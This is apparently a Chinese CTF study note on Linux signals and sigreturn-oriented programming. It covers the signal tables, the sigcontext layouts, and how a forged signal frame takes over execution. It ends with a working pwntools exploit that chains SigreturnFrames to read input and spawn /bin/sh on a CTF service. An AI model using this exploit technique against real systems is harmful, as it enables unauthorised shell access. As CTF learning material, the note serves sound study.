Framing Signals — A Return to Portable Shellcode
先学洋文
算了⑧学了,signal就是信号
signal,软中断信号,简称信号,用来通知进程发生了异步事件
用户态进程之间互相发送信号,内核也可以给进程发送信号,通知进程发生了某个事件
信号只通知进程发生了某个事件,不会传递数据
进程对信号的处理方法有三类
常规信号:1-31
实时信号:32-64
SIGHUP 1 /* Hangup (POSIX). */ 终止进程 终端线路挂断
SIGINT 2 /* Interrupt (ANSI). */ 终止进程 中断进程 Ctrl+C
SIGQUIT 3 /* Quit (POSIX). */ 建立CORE文件终止进程,并且生成core文件 Ctrl+\
SIGILL 4 /* Illegal instruction (ANSI). */ 建立CORE文件,非法指令
SIGTRAP 5 /* Trace trap (POSIX). */ 建立CORE文件,跟踪自陷
SIGABRT 6 /* Abort (ANSI). */
SIGIOT 6 /* IOT trap (4.2 BSD). */ 建立CORE文件,执行I/O自陷
SIGBUS 7 /* BUS error (4.2 BSD). */ 建立CORE文件,总线错误
SIGFPE 8 /* Floating-point exception (ANSI). */ 建立CORE文件,浮点异常
SIGKILL 9 /* Kill, unblockable (POSIX). */ 终止进程 杀死进程
SIGUSR1 10 /* User-defined signal 1 (POSIX). */ 终止进程 用户定义信号1
SIGSEGV 11 /* Segmentation violation (ANSI). */ 建立CORE文件,段非法错误
SIGUSR2 12 /* User-defined signal 2 (POSIX). */ 终止进程 用户定义信号2
SIGPIPE 13 /* Broken pipe (POSIX). */ 终止进程 向一个没有读进程的管道写数据
SIGALARM 14 /* Alarm clock (POSIX). */ 终止进程 计时器到时
SIGTERM 15 /* Termination (ANSI). */ 终止进程 软件终止信号
SIGSTKFLT 16 /* Stack fault. */
SIGCLD SIGCHLD /* Same as SIGCHLD (System V). */
SIGCHLD 17 /* Child status has changed (POSIX). */ 忽略信号 当子进程停止或退出时通知父进程
SIGCONT 18 /* Continue (POSIX). */ 忽略信号 继续执行一个停止的进程
SIGSTOP 19 /* Stop, unblockable (POSIX). */ 停止进程 非终端来的停止信号
SIGTSTP 20 /* Keyboard stop (POSIX). */ 停止进程 终端来的停止信号 Ctrl+Z
SIGTTIN 21 /* Background read from tty (POSIX). */ 停止进程 后台进程读终端
SIGTTOU 22 /* Background write to tty (POSIX). */ 停止进程 后台进程写终端
SIGURG 23 /* Urgent condition on socket (4.2 BSD). */ 忽略信号 I/O紧急信号
SIGXCPU 24 /* CPU limit exceeded (4.2 BSD). */ 终止进程 CPU时限超时
SIGXFSZ 25 /* File size limit exceeded (4.2 BSD). */ 终止进程 文件长度过长
SIGVTALRM 26 /* Virtual alarm clock (4.2 BSD). */ 终止进程 虚拟计时器到时
SIGPROF 27 /* Profiling alarm clock (4.2 BSD). */ 终止进程 统计分布图用计时器到时
SIGWINCH 28 /* Window size change (4.3 BSD, Sun). */ 忽略信号 窗口大小发生变化
SIGPOLL SIGIO /* Pollable event occurred (System V). */
SIGIO 29 /* I/O now possible (4.2 BSD). */ 忽略信号 描述符上可以进行I/O
SIGPWR 30 /* Power failure restart (System V). */
SIGSYS 31 /* Bad system call. */
SIGUNUSED 31
kill() kill(int pid, int signal);
pid为进程号,singnal为信号值
pid>0:进程的ID为pid的进程
pid=0:同一个进程组
pid<0 && pid!=-1:进程组ID为pid绝对值的所有进程 pid=-1:发送至所有ID大于1的进程
kill常用于pid>0的信号处理,调用成功返回0,否则返回-1
alarm
alarm(unsigned int seconds)
专门为SIGALRM信号设置,seconds表示时间,在seconds秒后发送SIGALRM信号
进程调用alarm后,以前的alarm()调用都将无效。若调用alarm()前,进程中已经设置了闹钟,则返回上一个闹钟生于的时间,否则返回0
raise()
raise(int signal);
向本进程发送signal信号的,signal为即将发送的信号值
调用成功返回0,否则返回-1
setitimer()
int setitimer(int which, const struct itimerval *value, struct itimerval *ovalue));
struct itimerval
{
struct timeval it_interval;//间隔时间
struct timeval it_value; //初始时间
};
struct timeval
{
long tv_sec; //秒
long tv_usec; //微妙
};
当内核向某个进程发出一个信号
内核为进程保存上下文,是将所有寄存器压栈,然后压入signal信息和指向sigreturn系统调用的地址
栈是用户进程的栈,在执行完signal handler后,就执行sigreturn系统调用,为进程恢复上下文,将压入的寄存器pop回去
ucontext和siginfo称作Signal Frame
x86中
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
x64中
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
如果可以控制程序执行sigreturn系统调用,并且伪造Signal Frame,就可以控制程序执行流程
sigreturn系统调用放到返回地址,后面跟上Signal Frame
pwntools中SigreturnFrame()挺好使
from pwn import *
r = remote('pwn.buuoj.cn', 20154)
context.arch = 'amd64'
syscall_ret = 0x400517
mov_rax_15 = 0x4004DA
sigreturn = p64(mov_rax_15) + p64(syscall_ret)
fuck = SigreturnFrame()
fuck.rdi = 0
fuck.rsi = 0x601000
fuck.rdx = 1000
fuck.rax = 0
fuck.rsp = 0x601050
fuck.rip = syscall_ret
payload = 'a'*0x10 + sigreturn + str(fuck)
r.sendline(payload)
wdnmd = SigreturnFrame()
wdnmd.rdi = 0x601000
wdnmd.rsi = 0
wdnmd.rdx = 0
wdnmd.rax = 59
wdnmd.rsp = 0x601050
wdnmd.rip = syscall_ret
payload = '/bin/sh'.ljust(0x50,'\x00')+sigreturn+str(wdnmd)
r.sendline(payload)
r.interactive()
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).